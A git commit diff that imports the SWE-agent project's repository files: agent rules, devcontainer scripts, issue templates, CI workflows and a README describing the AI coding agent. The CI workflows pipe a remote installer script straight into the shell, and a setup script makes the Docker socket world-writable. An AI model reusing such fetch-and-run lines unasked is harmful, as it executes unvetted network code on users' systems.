commit 4e0f4422d0dbdce79a8421a742d090d496e3a6a5 Author: wehub-resource-sync Date: Mon Jul 13 13:25:42 2026 +0800 chore: import upstream snapshot with attribution diff --git a/.cursor/rules/general.mdc b/.cursor/rules/general.mdc new file mode 100644 index 0000000..05b80b5 --- /dev/null +++ b/.cursor/rules/general.mdc @@ -0,0 +1,14 @@ +--- +description: +globs: +alwaysApply: true +--- + +# Your rule content + +- Use python with type annotations +- Target python 3.11 or higher +- Use `pathlib` instead of `os.path`. Also use `Path.read_text()` over `with ...open()` constructs +- Use `argparse` to add interfaces +- Keep code comments to a minimum and only highlight particularly logically challenging things +- Do not append to the README unless specifically requested \ No newline at end of file diff --git a/.cursor/rules/project-overview.mdc b/.cursor/rules/project-overview.mdc new file mode 100644 index 0000000..45a8925 --- /dev/null +++ b/.cursor/rules/project-overview.mdc @@ -0,0 +1,17 @@ +--- +description: +globs: +alwaysApply: true +--- +# SWE-agent overview + +SWE-agent implements an AI software engineering agent that uses language models to +fix github issues. +Here's what you need to know about the project structure: + +- The main entry points to running are in the `sweagent/run`, in particular `run_single.py` and `run_batch.py`, where the latter is used for benchmarking. +- The main class that governs agent behavior is `sweagent/agent/agents.py` +- The AI agent proposes actions that are executed in sandboxed docker containers +- At the beginning of an agent class, we initialize a `SWEEnv` class from `sweagent/environment/swe_env.py`. This class interfaces with the SWE-ReX project to interface with the sandboxed docker containers +- Part of the SWE-agent project are tools in `tools/`. They are organized in bundles. These bundles are copied to the sandboxed container and made available in the $PATH variable. +- In addition we provide two "inspectors" that allow to inspect trajectories (the output files of agents), `inspector_cli.py` provides a command line interface and `sweagent/inspector/server.py` a web interface. \ No newline at end of file diff --git a/.devcontainer/README.md b/.devcontainer/README.md new file mode 100644 index 0000000..f2ec853 --- /dev/null +++ b/.devcontainer/README.md @@ -0,0 +1,4 @@ +# .devcontainer + +The files in this directory configure a VSCode environment like +GitHub codespaces. diff --git a/.devcontainer/bashrc_epilog.sh b/.devcontainer/bashrc_epilog.sh new file mode 100644 index 0000000..1e67b0d --- /dev/null +++ b/.devcontainer/bashrc_epilog.sh @@ -0,0 +1,13 @@ + +if [ -z "$(docker images -q sweagent/swe-agent 2> /dev/null)" ]; then + echo "⚠️ Please wait for the postCreateCommand to start and finish (a new window will appear shortly) ⚠️" +fi + +echo "Here's an example SWE-agent command to try out:" + +echo "sweagent run \\ + --agent.model.name=claude-sonnet-4-20250514 \\ + --agent.model.per_instance_cost_limit=2.00 \\ + --env.repo.github_url=https://github.com/SWE-agent/test-repo \\ + --problem_statement.github_url=https://github.com/SWE-agent/test-repo/issues/1 \\ +" diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json new file mode 100644 index 0000000..a18db7e --- /dev/null +++ b/.devcontainer/devcontainer.json @@ -0,0 +1,22 @@ +{ + "name": "SWE-Agent Codespace", + "image": "mcr.microsoft.com/vscode/devcontainers/miniconda:0-3", + "customizations":{ + "vscode":{ + "extensions": [ + "ms-python.python", + "ms-azuretools.vscode-docker", + "ms-toolsai.jupyter" + ] + } + }, + "onCreateCommand": "./.devcontainer/oncreate.sh", + "postCreateCommand": "./.devcontainer/postcreate.sh", + "features": { + "ghcr.io/devcontainers/features/docker-in-docker:2": {} + }, + "mounts": [ + "source=/var/run/docker.sock,target=/var/run/docker.sock,type=bind" + ], + "remoteUser": "vscode" +} diff --git a/.devcontainer/oncreate.sh b/.devcontainer/oncreate.sh new file mode 100755 index 0000000..ff4193f --- /dev/null +++ b/.devcontainer/oncreate.sh @@ -0,0 +1,12 @@ +#!/usr/bin/env bash + +set -euo pipefail +set -x + +# Run from repo root + +sudo usermod -aG docker vscode +sudo chmod 666 /var/run/docker.sock +pip install -e '.' +cp .devcontainer/sample_keys.cfg keys.cfg +cat .devcontainer/bashrc_epilog.sh >> ~/.bashrc diff --git a/.devcontainer/postcreate.sh b/.devcontainer/postcreate.sh new file mode 100755 index 0000000..765aec4 --- /dev/null +++ b/.devcontainer/postcreate.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash + +set -euo pipefail +set -x + +pip install -e '.' diff --git a/.devcontainer/sample_keys.cfg b/.devcontainer/sample_keys.cfg new file mode 100644 index 0000000..5b26d28 --- /dev/null +++ b/.devcontainer/sample_keys.cfg @@ -0,0 +1,11 @@ +# All keys are commented out by default. Make sure to remove the leading '#' of the relevant lines +# GITHUB_TOKEN: 'GitHub Token to clone private repos' +# OPENAI_API_KEY: 'OpenAI API Key Here if using OpenAI Model' +# ANTHROPIC_API_KEY: 'Anthropic API Key Here if using Anthropic Model' +# TOGETHER_API_KEY: 'Together API Key Here if using Together Model' +# AZURE_OPENAI_API_KEY: 'Azure OpenAI API Key Here if using Azure OpenAI Model' +# AZURE_OPENAI_ENDPOINT: 'Azure OpenAI Endpoint Here if using Azure OpenAI Model' +# AZURE_OPENAI_DEPLOYMENT: 'Azure OpenAI Deployment Here if using Azure OpenAI Model' +# AZURE_OPENAI_API_VERSION: 'Azure OpenAI API Version Here if using Azure OpenAI Model' +# OPENAI_API_BASE_URL: 'LM base URL here if using Local or alternative api Endpoint' +# GROQ_API_KEY: 'Groq Models API Key' \ No newline at end of file diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..65e9c41 --- /dev/null +++ b/.env.example @@ -0,0 +1,8 @@ +# GitHub Personal Access Token +# Used for GitHub API operations: querying repository metadata, +# cloning private repos, and opening pull requests. +# +# Required scopes: +# public_repo - for public repos (read metadata, open PRs) +# repo - for private repos (all of the above + private repo access) +GITHUB_TOKEN= diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs new file mode 100644 index 0000000..5a16583 --- /dev/null +++ b/.git-blame-ignore-revs @@ -0,0 +1,8 @@ +# Trailing whitespace & black +51699eb03c3c4f36d4b5ef2725f7bd5223874da7 +70ba97190a781705203ba838bfe0fb8be7cfa32f +83988093c08ab5f1cb999f97fc3745f3d3af306f +# Code quality: Convert to make use of PEP 585 and PEP 604 +29a4c6dfb6cceff5e657c707ce809bc78f33b778 +# Sort imports +f873761e6760a844c1788cb5f4e42de401ab2c38 diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..1a1292e --- /dev/null +++ b/.github/CODE_OF_CONDUCT.md @@ -0,0 +1,134 @@ + +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, caste, color, religion, or sexual +identity and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the overall + community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or advances of + any kind +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email address, + without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official email address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement at +[INSERT CONTACT METHOD]. +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series of +actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or permanent +ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within the +community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.1, available at +[https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1]. + +Community Impact Guidelines were inspired by +[Mozilla's code of conduct enforcement ladder][Mozilla CoC]. + +For answers to common questions about this code of conduct, see the FAQ at +[https://www.contributor-covenant.org/faq][FAQ]. Translations are available at +[https://www.contributor-covenant.org/translations][translations]. + +[homepage]: https://www.contributor-covenant.org +[v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html +[Mozilla CoC]: https://github.com/mozilla/diversity +[FAQ]: https://www.contributor-covenant.org/faq +[translations]: https://www.contributor-covenant.org/translations + diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 0000000..4e1b99c --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,72 @@ +name: Bug Report +description: Create a report to help us reproduce and correct the bug +labels: ['bug'] + +body: +- type: markdown + attributes: + value: > + #### Before submitting a bug, please make sure the issue hasn't been already + addressed by searching through [the past issues](https://github.com/SWE-agent/SWE-agent/issues). +- type: textarea + attributes: + label: Describe the bug + description: > + A clear and concise description of what the bug is. + validations: + required: true +- type: textarea + attributes: + label: Steps/commands/code to Reproduce + description: > + **Please add the FULL COMMAND that you were running as well as how you set up the software (docker, conda, etc.)** + Please always copy code as text and not as a screenshot. + Enclose code/commands/log output in [triple backticks](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#quoting-code). + placeholder: | + Sample code/commands to reproduce the problem. + + ``` + PLEASE INCLUDE THE FULL COMMAND HERE. + ``` + validations: + required: true +- type: textarea + attributes: + label: Error message/results + description: > + Please paste or describe the expected results. + Use [triple backticks](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#quoting-code) around log/error messages. + You should find the full log in your `trajectory` folder (look for `*.log` files). + placeholder: > + ``` + Full log file here + ``` + validations: + required: true +- type: textarea + attributes: + label: System Information + description: | + Please tell us what OS and processor architecture you are using, your Python version, and the `swebench` package version if applicable. + placeholder: > + e.g. MacOS M1, Python 3.9, swebench 1.0.1 + validations: + required: true +- type: checkboxes + id: checks + attributes: + label: Checklist + description: We can only help you if you have done the following + options: + - label: I'm running with the latest docker container/on the latest development version (i.e., I ran `git pull`)) + required: true + - label: I have copied the full command/code that I ran (as text, not as screenshot!) + required: true + - label: "If applicable: I have copied the **full** log file/error message that was the result (as text, not as screenshot!)" + required: true + - label: I have enclosed code/log messages in triple backticks ([docs](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#quoting-code)) and clicked "Preview" to make sure it's displayed correctly. + required: true +- type: markdown + attributes: + value: > + Thanks for contributing 🎉! diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..0684551 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,8 @@ +blank_issues_enabled: true +contact_links: + - name: Blank issue + url: https://github.com/SWE-agent/SWE-agent/issues/new + about: None of the above? Open a blank issue + - name: Slack server + url: https://swe-bench.slack.com + about: Open ended discussions diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml new file mode 100644 index 0000000..e80d264 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -0,0 +1,20 @@ +name: Feature Request +description: Suggest a new feature or enhancement to the project +labels: ['feature'] + +body: + - type: textarea + attributes: + label: Describe the feature + description: > + Please describe the feature as best as you can. + If applicable, it would help to know how you currently manage without it. + What improvements would you expect with its implementation? + validations: + required: true + - type: textarea + attributes: + label: Potential Solutions + description: Links to similar features in other projects, diagrams, or any other references that could help us understand your vision are highly appreciated. + validations: + required: true diff --git a/.github/ISSUE_TEMPLATE/question.yml b/.github/ISSUE_TEMPLATE/question.yml new file mode 100644 index 0000000..2bd4a5c --- /dev/null +++ b/.github/ISSUE_TEMPLATE/question.yml @@ -0,0 +1,20 @@ +name: Question +description: Ask an open-ended question about SWE-agent (e.g., "How do I do ...?"). If you get an error message or think that something went wrong, please open a bug issue instead! +labels: ['question'] + +body: +- type: textarea + attributes: + label: Describe the issue + description: > + Tell us about the confusion you have about SWE-agent *or* + the information that is missing in the documentation. + If you face error messages and more, please open a bug report + instead https://github.com/SWE-agent/SWE-agent/issues/new?template=bug_report.yml + validations: + required: true +- type: input + attributes: + label: "Optional: Relevant documentation page" + description: > + If something is missing in a specific page, put the URL here diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000..7273c88 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,18 @@ + + +#### Reference Issues/PRs + + +#### What does this implement/fix? Explain your changes. + diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..6fddca0 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,7 @@ +version: 2 +updates: + # Maintain dependencies for GitHub Actions + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "weekly" diff --git a/.github/workflows/build-docs.yaml b/.github/workflows/build-docs.yaml new file mode 100644 index 0000000..72bfaa2 --- /dev/null +++ b/.github/workflows/build-docs.yaml @@ -0,0 +1,52 @@ +name: build-docs + +on: + push: + branches: + - main + - "build-docs-*" + pull_request: + branches: + - main + +# Prevent concurrent runs that could conflict when pushing to gh-pages +concurrency: + group: build-docs-${{ github.ref }} + cancel-in-progress: false + +permissions: + contents: write +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + with: + fetch-depth: 0 + - name: Configure Git Credentials + run: | + git config user.name github-actions[bot] + git config user.email 41898282+github-actions[bot]@users.noreply.github.com + - uses: actions/setup-python@v6 + with: + python-version: 3.x + - run: echo "cache_id=$(date --utc '+%V')" >> $GITHUB_ENV + - uses: actions/cache@v6 + with: + key: mkdocs-material-${{ env.cache_id }} + path: .cache + restore-keys: | + mkdocs-material- + - name: Install uv + run: | + curl -LsSf https://astral.sh/uv/install.sh | sh + - run: uv pip install --python ${Python_ROOT_DIR} '.[dev]' + - name: Build Documentation + if: github.ref != 'refs/heads/main' && github.ref != 'refs/heads/v0.7' + run: mkdocs build + - name: Deploy on 0.7 + if: github.ref == 'refs/heads/v0.7' + run: mike deploy --push 0.7 + - name: Build + Deploy Documentation + if: github.ref == 'refs/heads/main' + run: mike deploy --push 1.0 latest diff --git a/.github/workflows/check-links-periodic.yaml b/.github/workflows/check-links-periodic.yaml new file mode 100644 index 0000000..96903c8 --- /dev/null +++ b/.github/workflows/check-links-periodic.yaml @@ -0,0 +1,20 @@ +name: Check Markdown links + +on: + workflow_dispatch: + push: + branches: + - main + - bala/fix_broken_links + schedule: + - cron: "0 0 1 * *" + +jobs: + markdown-link-check: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: tcort/github-action-markdown-link-check@v1 + with: + use-quiet-mode: 'yes' + use-verbose-mode: 'yes' diff --git a/.github/workflows/check-links-pr.yaml b/.github/workflows/check-links-pr.yaml new file mode 100644 index 0000000..2e1a5c0 --- /dev/null +++ b/.github/workflows/check-links-pr.yaml @@ -0,0 +1,13 @@ +on: [pull_request] +name: Check Markdown links in modified files +jobs: + markdown-link-check: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: tcort/github-action-markdown-link-check@v1 + with: + use-quiet-mode: 'yes' + use-verbose-mode: 'yes' + check-modified-files-only: 'yes' + base-branch: 'main' diff --git a/.github/workflows/pytest.yaml b/.github/workflows/pytest.yaml new file mode 100644 index 0000000..2313842 --- /dev/null +++ b/.github/workflows/pytest.yaml @@ -0,0 +1,75 @@ +name: Pytest + +env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + +on: + push: + branches: + - main + - prepare-public2 + paths-ignore: + - 'docs/**' + - '.cursor/**' + - 'README.md' + - 'mkdocs.yml' + pull_request: + branches: + - main + - prepare-public2 + paths-ignore: + - 'docs/**' + - 'README.md' + - 'mkdocs.yml' + +# Not possible to test windows capability: +# https://github.com/orgs/community/discussions/25491 +jobs: + test: + runs-on: ubuntu-latest + strategy: + matrix: + python-version: ["3.11", "3.12"] + defaults: + run: + shell: bash -l {0} + steps: + - name: Checkout code + uses: actions/checkout@v7 + - uses: actions/setup-python@v6 + with: + python-version: "${{ matrix.python-version }}" + - name: Install uv + run: | + curl -LsSf https://astral.sh/uv/install.sh | sh + - name: Install dependencies + run: | + uv pip install --python ${Python_ROOT_DIR} -e '.[dev]' + - name: Check available files + run: | + find . + - name: Run pytest + uses: sjvrijn/pytest-last-failed@v2 + with: + pytest-args: '--junitxml=test-results.xml --cov -n auto -s' + - name: Upload logs & trajectories + uses: actions/upload-artifact@v7 + if: always() + with: + name: trajectories-py${{ matrix.python-version }} + path: | + trajectories/runner/ + - name: Explicitly convert coverage to xml + if: matrix.python-version == '3.11' + run: coverage xml + - name: Upload coverage reports to Codecov + if: matrix.python-version == '3.11' + uses: codecov/codecov-action@v7.0.0 + with: + token: ${{ secrets.CODECOV_TOKEN }} + slug: SWE-agent/SWE-agent + - name: Upload test results to Codecov + if: matrix.python-version == '3.11' + uses: codecov/test-results-action@v1 + with: + files: test-results.xml diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8f579eb --- /dev/null +++ b/.gitignore @@ -0,0 +1,210 @@ +keys.yaml +.swe-agent-human-history +.vscode/** +cov.xml +trajectories/** +!trajectories/demonstrations/** +data/** +*.env +!tools/* + +# -------- automatically generated files -------- + +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +/lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +pip-wheel-metadata/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +.python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# Mac files +*.DS_Store + +# Custom +keys*.cfg + +# iPython Notebooks +*.ipynb + +# Evaluation folders +results/ +testbed/ +temp/ + +# Ignore all YAML files in data/ +data/*/ic-* +data/*/single-issues + +# Fine tuning data +fine_tune/*.ipynb +fine_tune/subtasks/*.jsonl +temp*.jsonl + +# Inspector +inspector/*.json + +# Ignore all files in the private folder +private/ + +### Website + +# dependencies +website/frontend/node_modules +website/frontend/package-lock.json +website/frontend/.pnp +*.pnp.js + +# testing +website/frontend/coverage + +# production +website/frontend/build + +# misc +*.env.local +*.env.development.local +*.env.test.local +*.env.production.local +.api_key +*npm-debug.log* +*yarn-debug.log* +*yarn-error.log* + + +# demo yamls (for editing) +*.demo.yaml + +# PyCharm +.idea/ + +# Disasm / Decomp output +*.decomp.json +*.disas.json + +# SWE-smith +agent_conf +sb-cli-reports/ +trajectories_sft/ \ No newline at end of file diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 0000000..64a460d --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,39 @@ +ci: + autoupdate_commit_msg: "chore: update pre-commit hooks" + +repos: + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: "v6.0.0" + hooks: + - id: check-added-large-files + - id: check-case-conflict + - id: check-merge-conflict + - id: check-symlinks + - id: mixed-line-ending + - id: detect-private-key + - id: check-ast + - id: trailing-whitespace + + - repo: https://github.com/crate-ci/typos + rev: v1 + hooks: + - id: typos + files: \.(py|md|rst|yaml|toml) + exclude: pyproject.toml + + - repo: https://github.com/astral-sh/ruff-pre-commit + rev: v0.15.20 + hooks: + # Run the linter. + - id: ruff + args: ["--fix"] + # Run the formatter. + - id: ruff-format + + - repo: https://github.com/pre-commit/mirrors-prettier + rev: "v4.0.0-alpha.8" # Use the sha or tag you want to point at + hooks: + - id: prettier + types_or: ["javascript", "css"] + +exclude: "^tests/test_data/|^tools/.*/.*.py" \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..b91a770 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,16 @@ +# Contribution guidelines + + + + +The easiest way to contribute is to give us feedback. + +* **Something isn't working?** Open a [bug report](https://github.com/SWE-agent/SWE-agent/issues/new?template=bug_report.yml). + Rule of thumb: If you're running something and you get some error messages, this is the issue type for you. +* **You have a concrete question?** Open a [question issue](https://github.com/SWE-agent/SWE-agent/issues/new?template=question.yml). +* **You are missing something?** Open a [feature request issue](https://github.com/SWE-agent/SWE-agent/issues/new?template=feature_request.yml) +* **Open-ended discussion?** Talk on [discord](https://discord.gg/AVEFbBn2rH). Note that all actionable items should be an issue though. + + + +You want to do contribute to the development? Great! Please see the [development guidelines](https://swe-agent.com/latest/dev/contribute/) for guidelines and tips. \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..e702436 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 John Yang, Carlos E. Jimenez, Alexander Wettig, Shunyu Yao, Karthik Narasimhan, Ofir Press + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..e241ede --- /dev/null +++ b/README.md @@ -0,0 +1,145 @@ +

+ + swe-agent.com + +

+ +

+Docs +Slack +arxiv 2405.15793 +

+ +

+ + mini-swe-agent.com + +

+ +> [!warning] +> Most of our current development effort is on [mini-swe-agent](https://github.com/SWE-agent/mini-swe-agent/), +> which has superseded SWE-agent. It matches the performance performance of SWE-agent, while being +> much simpler. +> See the [FAQ](https://mini-swe-agent.com/latest/faq/) for more details about the differences. +> Our general recommendation is to use mini-SWE-agent instead of SWE-agent going forward. + + +SWE-agent enables your language model of choice (e.g. GPT-4o or Claude Sonnet 4) to autonomously use tools to +[fix issues in real GitHub repositories](https://swe-agent.com/latest/usage/hello_world), +[find cybersecurity vulnerabilities](https://enigma-agent.com/), or +[perform any custom task](https://swe-agent.com/latest/usage/coding_challenges). + +* ✅ **State of the art** on SWE-bench among open-source projects +* ✅ **Free-flowing & generalizable**: Leaves maximal agency to the LM +* ✅ **Configurable & fully documented**: Governed by a single `yaml` file +* ✅ **Made for research**: Simple & hackable by design + +SWE-agent is built and maintained by researchers from Princeton University and Stanford University. + +## 📣 News + +* July 24: [Mini-SWE-Agent](https://github.com/SWE-agent/mini-SWE-agent) achieves 65% on SWE-bench verified in 100 lines of python! +* May 2: [SWE-agent-LM-32b](https://github.com/SWE-bench/SWE-smith) achieves open-weights SOTA on SWE-bench +* Feb 28: [SWE-agent 1.0 + Claude 3.7 is SoTA on SWE-Bench full](https://x.com/KLieret/status/1895487966409298067) +* Feb 25: [SWE-agent 1.0 + Claude 3.7 is SoTA on SWE-bench verified](https://x.com/KLieret/status/1894408819670733158) +* Feb 13: [Releasing SWE-agent 1.0: SoTA on SWE-bench light & tons of new features](https://x.com/KLieret/status/1890048205448220849) +* Dec 7: [An interview with the SWE-agent & SWE-bench team](https://www.youtube.com/watch?v=fcr8WzeEXyk) + +## 🚀 Get started! + +👉 Try SWE-agent in your browser: [![Open in GitHub Codespaces](https://img.shields.io/badge/Open_in_GitHub_Codespaces-gray?logo=github)](https://codespaces.new/SWE-agent/SWE-agent) ([more information](https://swe-agent.com/latest/installation/codespaces/)) + +Read our [documentation][docs] to learn more: + +* [Installation](https://swe-agent.com/latest/installation/source/) +* [Hello world from the command line](https://swe-agent.com/latest/usage/hello_world/) +* [Benchmarking on SWE-bench](https://swe-agent.com/latest/usage/batch_mode/) +* [Frequently Asked Questions](https://swe-agent.com/latest/faq/) + +[docs]: https://swe-agent.com + +## SWE-agent for offensive cybersecurity (EnIGMA) + + + +[SWE-agent: EnIGMA][enigma] is a mode for solving offensive cybersecurity (capture the flag) challenges. +EnIGMA achieves state-of-the-art results on multiple cybersecurity benchmarks (see [leaderboard](https://enigma-agent.com/#results)). +Please use [SWE-agent 0.7](https://github.com/SWE-agent/SWE-agent/tree/v0.7) while we update EnIGMA for 1.0. + +[enigma]: https://enigma-agent.com +[SWE-bench]: https://github.com/SWE-bench/SWE-bench +[nyu-ctf]: https://arxiv.org/abs/2406.05590 + +In addition, you might be interested in our other projects: + + +
+ Mini-SWE-Agent +    + SWE-ReX +    + SWE-bench +    + + SWE-smith +    + sb-cli +
+ +## Contributions + +If you'd like to contribute to the codebase, we welcome [issues](https://github.com/SWE-agent/SWE-agent/issues) and [pull requests](https://github.com/SWE-agent/SWE-agent/pulls)! For larger code changes, we always encourage discussion in issues first. + +## Citation & contact + +SWE-agent is an academic project started at Princeton University by John Yang*, Carlos E. Jimenez*, Alexander Wettig, Kilian Lieret, Shunyu Yao, Karthik Narasimhan, and Ofir Press. +Contact person: [John Yang](https://john-b-yang.github.io/), [Carlos E. Jimenez](http://www.carlosejimenez.com/), and [Kilian Lieret](https://www.lieret.net/) (Email: johnby@stanford.edu, carlosej@cs.princeton.edu, kl5675@princeton.edu). + +If you found this work helpful, please consider citing it using the following: + +
+ SWE-agent citation + +```bibtex +@inproceedings{yang2024sweagent, + title={{SWE}-agent: Agent-Computer Interfaces Enable Automated Software Engineering}, + author={John Yang and Carlos E Jimenez and Alexander Wettig and Kilian Lieret and Shunyu Yao and Karthik R Narasimhan and Ofir Press}, + booktitle={The Thirty-eighth Annual Conference on Neural Information Processing Systems}, + year={2024}, + url={https://arxiv.org/abs/2405.15793} +} +``` +
+ +If you used the summarizer, interactive commands or the offensive cybersecurity capabilities in SWE-agent, please also consider citing: + +
